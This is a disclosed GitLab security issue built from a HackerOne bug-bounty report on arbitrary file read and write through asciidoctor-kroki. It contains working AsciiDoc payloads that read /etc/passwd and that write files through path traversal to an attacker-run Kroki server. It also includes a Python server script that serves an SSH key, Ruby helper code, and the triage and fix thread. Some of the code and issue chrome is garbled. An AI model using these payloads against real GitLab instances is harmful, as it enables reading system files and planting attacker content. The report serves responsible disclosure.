

Kroki Arbitrary File Read/Write

[HackerOne report #1098793](#) by 1edz1996 on 2021-02-08, assigned to @cmavim:

[Report](#) | [Attachments](#) | [How to Reproduce](#)

Report

Summary

In short, I've found a potentially weird bug in `asciidoctor` that could lead to arbitrary file read/write in `asciidoctor-kroki` even though Gitlab have already made an attempt to disable `kroki-plantuml-include`

lib/gitlab/asciidoctor/b

```
module Gitlab
  # Parser/renderer for the AsciiDoc format that uses Asciidoctor and filters
  # the resulting HTML through HTML pipeline filters.
  module Asciidoctor
    MAX_INCLUDE_DEPTH = 5
    MAX_INCLUDES = 32
    DEFAULT_ADOC_ATTRS = {
      'showtitle' => true,
      'sectanchors' => true,
      'idprefix' => 'user-content-',
      'idseparator' => '-',
      'env' => 'gitlab',
      'env-gitlab' => '',
      'source-highlighter' => 'gitlab-html-pipeline',
      'icons' => 'font',
      'outfile suffix' => '.adoc',
      'max-include-depth' => MAX_INCLUDE_DEPTH,
      # This feature is disabled because it relies on File#read to read the file.
      # If we want to enable this feature we will need to provide a "Gitlab compatible" implementation.
      # This attribute is typically used to share common config (skinparam...) across all PlantUML diagrams.
      # The value can be a path or a URL.
      'kroki-plantuml-include!' => '',
      # This feature is disabled because it relies on the local file system to save diagrams retrieved from the kroki server.
      'kroki-fetch-diagram!' => ''
    }
  end
end
```

However this could easily be bypassed by using `counter`

<https://gitlab.com/asciidoctor/asciidoctor/blob/master/lib/asciidoctor/document.rb>

```
def counter_name, seed = nil
  return [@parent_document.counter_name, seed] if @parent_document
  if (attr_val = ([@attributes[name]] || nil || empty?)) && ([@counters[key? name]
    (@attributes[name] = @counters[name] = Helpers.nextval attr_val
  elsif seed
    (@attributes[name] = @counters[name] = seed == seed.to_i.to_s ? seed.to_i : seed
  else
    (@attributes[name] = @counters[name] = Helpers.nextval attr_val : 0
  end
end
```

Steps to reproduce

- Set up Gitlab with Kroki: <https://docs.gitlab.com/ee/administration/integration/kroki.html>
- Create a project, create a wiki page with `asciidoctor` format and the following as payload

```
[#goals]

[plantuml, test="{counter:kroki-plantuml-include:/etc/passwd}", format="png"]
....
class BlockProcessor
class DiagramBlock
class Ditaablock
class PlantUmlBlock

BlockProcessor <|-- {counter:kroki-plantuml-include}
DiagramBlock <|-- Ditaablock
DiagramBlock <|-- PlantUmlBlock
....
```

- Get the base64 part of the URL of the image when being rendered
- Use the following code to decode the last part of the URL to get the content of file `/etc/passwd`

```
require 'base64'
require 'zlib'

test = "eNpLzKksL2yyslPzg4oyK9OL57OL-3K8gu6ZCamFyXnguXgQlwk1cgCATnJesMhuTKQMSUcxRsanR1FT3M1KSMQCCCKZhSm7YlwAy8USsQ=="
p Zlib::Inflate.inflate(Base64.urlsafe_decode64(test))
```

Video:

0:00

[Screen Recording 2021-02-09 at 04:27:43.mov](#)

Arbitrary File Write

- Create a project, create a wiki page with `asciidoctor` format and the following as payload

```
[#goals]
:imagesdir: .
:outdir: /tmp/

[plantuml]
....
class BlockProcessor
class DiagramBlock
class Ditaablock
class PlantUmlBlock

BlockProcessor <|-- hehe
DiagramBlock <|-- Ditaablock
DiagramBlock <|-- PlantUmlBlock
....
```

- Note in the URL there is a base64 value, copy this value
- Set up a server with the address that is being appended as `kroki-server-url`, I used this script to serve a public-key file with any URL

```
/// python3 this_script.py <port>
from http.server import BaseHTTPRequestHandler, HTTPServer
```

```

import logging

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        logging.info("GET request, \nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        self._set_response()
        self.wfile.write(b"ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAQgQEY+UcY1PBVz0BdyMGUpbVfMsAUxPjWk70LqARu/t3w0ImSNJ/RE5eAnL2")

    def do_POST(self):
        content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
        post_data = self.rfile.read(content_length) # <--- Gets the data itself
        logging.info("POST request, \nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
            str(self.path), str(self.headers), post_data.decode('utf-8'))

        self._set_response()
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

def run(server_class=HTTPServer, handler_class=S, port=8080):
    logging.basicConfig(level=logging.INFO)
    server_address = ('0.0.0.0', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()

```

4. Note the URL and edit the following script to create a SHA256 of the URL

```

require 'digest'
require 'base64'
require 'zlib'

string = "http://192.168.69.1:8082/plantuml/../../../../tmp/test_file_write.txt/eNpLzkksl12oyslPzg4oyk9OL57OL-JK8guG2"

p "diag-#{Digest::SHA256.hexdigest test = string}"

```

4. Create a project, create a wiki page with `asciidoctor` format and the following as payload for the first time, replace the `diag-*` with the `diag-output_previous`.. Please take note of the last .

```

[goals]
:imagesdir: diag-58f90331904a1989259d639c5677e0ff5e434e739c70f1d3bb2004723bc99b8.
:outdir: /tmp/

[plantuml, test="{counter: kroki-fetch-diagram: true}", tet="{counter: kroki-server-url: http://192.168.69.1:8082/}", format="/.
....
class BlockProcessor
class DiagramBlock
class Ditaablock
class PlantumlBlock

BlockProcessor <|-- hehe
DiagramBlock <|-- Ditaablock
DiagramBlock <|-- PlantumlBlock
....

```

Save then render

5. Repeat the previous step with this payload

```

[goals]
:imagesdir: diag-58f90331904a1989259d639c5677e0ff5e434e739c70f1d3bb2004723bc99b8.
:outdir: /tmp/

[plantuml, test="{counter: kroki-fetch-diagram: true}", tet="{counter: kroki-server-url: http://192.168.69.1:8082/}", format="/.
....
class BlockProcessor
class DiagramBlock
class Ditaablock
class PlantumlBlock

BlockProcessor <|-- hehe
DiagramBlock <|-- Ditaablock
DiagramBlock <|-- PlantumlBlock
....

```

Save then render again

5. You are able to write to any files. You can check this by simply navigate to the file using the Gitlab box

Video:

0:00

[Screen Recording 2021-02-09 at 05:15:11.mov](#)

Results of Gitlab environment info

```

System Information
System: Ubuntu 16.04
Proxy: no
Current User: git
Using RMW: no
Ruby Version: 2.7.2p137
Gem Version: 3.1.4
Bundler Version: 2.1.4
Rake Version: 13.0.1
Redis Version: 5.0.9
Git Version: 2.29.0
Sidekiq Version: 5.2.9
Go Version: unknown

```

```
GitLab information
Version: 13.7.4-ee
Revision: 368b4fb2eee
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 11.9
URL: http://gitlab3.example.vn
HTTP Clone URL: http://gitlab3.example.vn/some-group/some-project.git
SSH Clone URL: git@gitlab3.example.vn:some-group/some-project.git
Elasticsearch: no
Geo: yes
Geo node: Primary
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:

GitLab Shell
Version: 13.14.0
Repository storage paths:
default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
```

Impact

File read/write access, RCE

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

- [Screen Recording 2021-02-09 at 04:27:43.mov](#)
- [Screen Recording 2021-02-09 at 05:15:11.mov](#)

How To Reproduce

Please add [reproducibility information](#) to this section:

- 1.
- 2.
- 3.

📁 Drag your designs here or [click to upload](#)

Tasks 📅 0

No tasks are currently assigned. Use tasks to break down this issue into smaller parts.

Linked items 🔗 0

Link issues together to show that they're related or that one is blocking others. [Learn more](#)

Related merge requests 🔗 1

🔗 Outdated asciidoctor-kroki gem with spelling mistake for WaveDrom

155659

🕒 13.10 🧑🏻🔒🔄

Activity

📧 GitLab SecurityBot changed due date to April 10, 2021 1 year ago

✔ GitLab SecurityBot added [Weakness CWE-284](#) [priority 2](#) [severity 2](#) scoped labels 1 year ago

✔ GitLab SecurityBot added [HackerOne](#) [security](#) labels 1 year ago

🌐 GitLab SecurityBot @gitlab-securitybot · 1 year ago

Author

Reporter

[HackerOne comment](#) by turtle_shell:

Hi @jedz1996,

Thank you for your submission. I hope you are well. Your report is currently being reviewed and the HackerOne triage team will get back to you once there is additional information to share.

Have a great day!

Kind regards, @turtle_shell

🌐 GitLab SecurityBot @gitlab-securitybot · 1 year ago

Author

Reporter

[HackerOne comment](#) by turtle_shell:

Hello @jedz1996 and thanks for your report,

I would like to understand if this bug falls or not under this out of scope policy

High privilege users (maintainers, owners) using a bug to sabotage/deface their own projects

I have a couple of questions for you, please bear with me as I am not familiar with the application.

1. Can this bug be used by any role that are not maintainers or owners to read internal file system as you did?
2. Isn't the vulnerability in a third party instance? You mentioned this code here <https://github.com/asciidoctor/asciidoctor/blob/master/lib/asciidoctor/document.rb> but I don't understand how is GitLab involved in this - can you please give some insight on that?

Thanks a lot for your patience, @turtle_shell

🌐 GitLab SecurityBot @gitlab-securitybot · 1 year ago

Author

Reporter

[HackerOne comment](#) by jedz1996:

Hi @turtle_shell, GitLab allow bug finding from your own instances of gitlab. This is a bug when Kroki Feature is being used in GitLab. If Kroki is enabled in Gitlab -> this could be exploited by any user in that gitlab instance.

- Asciidoctor is being used as part of gitlab and its always, the same as Kroki, but Kroki has to be enabled as a feature in Gitlab.

It is documented here <https://docs.gitlab.com/ee/administration/integration/kroki.html>

High privilege users (maintainers, owners) using a bug to sabotage/deface their own projects

This is not the case since the bug is relating to system-wide file reading and writing, it is not project-related

So you have to set up an GitLab Instance, enabling the feature <https://docs.gitlab.com/ee/administration/integration/kroki.html>
Login as any user in that instance and exploit the vulnerability.

✔ Costel Maxim added [group project management](#) [devops plan](#) scoped labels 1 year ago

👤 Costel Maxim @cmxim · 1 year ago

Developer

Report confirmed, /cc [@jlear](#) [@qwearer](#)

🌐 GitLab SecurityBot @gitlab-securitybot · 1 year ago

Author

Reporter

[@qwearer](#) [@jlear](#) [@donaldcook](#) [@cmxim](#) This issue is ready for triage as per [HackerOne process](#).


About this automation: [AppSec Escalation Engine](#)

✔ GitLab SecurityBot added [security-act-milestone](#) label 1 year ago

👤 Gabe Weaver @qwearer · 1 year ago


Developer

[@jedz1996](#) I know you collaborated with the community member that contributed Kroki. Should we discuss this with him or is it something outside of Kroki itself that is the root cause? Any suggestions on how best to proceed here?



[backlog](#)

label 1 year ago




[@qitlab-securitybot](#) 1 year ago

[Authn](#)

[Reportn](#)


[@qitlab-securitybot](#) [@qitlab-securitybot](#) 1 year ago
[@qitlab-securitybot](#) [@qitlab-securitybot](#) 1 year ago, issue has no milestone yet. (For remediation goals, please see [Severity and Priority Labels on --security, Issues](#))

About this automation: [AppSec Escalation Engine](#)




[backlog](#)

label 1 year ago




[backlog](#)

label 1 year ago




[backlog](#)

label 1 year ago




[backlog](#)

label 1 year ago




[backlog](#)

label 1 year ago



[backlog](#)

label 1 year ago




[backlog](#)

label 1 year ago

The first step in mitigating this was taken with MR [156559 \(merged\)](#). This updated to the latest `asciidoctor-kroki` gem, `0.4.0`, which addressed this issue.


Since there was a [different Kroki issue](#) that would be fixed by upgrading the gem, I did it under that issue and also had it added to the 13.9 patch release.

Proper security issue is in progress with an additional monkey patch for asciidoctor.




[backlog](#)

label 1 year ago



[backlog](#)


label 1 year ago



[backlog](#)


label 1 year ago

CVE requested by [@cmaxim](#) <https://qitlab.com/qitlab-om/cves/-/issues/156>




[backlog](#)

label 1 year ago




[backlog](#)

label 1 year ago



[backlog](#)

label 1 year ago



[backlog](#)

label 1 year ago

About this automation: [AppSec Escalation Engine](#)

Developer

 **GitLab SecurityBot** removed [security-issue-escalated](#) label [1 year ago](#)

Author Reporter

If you removed confidential data from the issue description before making it public, make sure that the description history entry is deleted.

Developer

 Costel Maxim made the issue visible to everyone 1 year ago

Contributor

Maintainer

Author Reporter

- Bounty awarded: \$5600

Please [register](#) or [sign in](#) to reply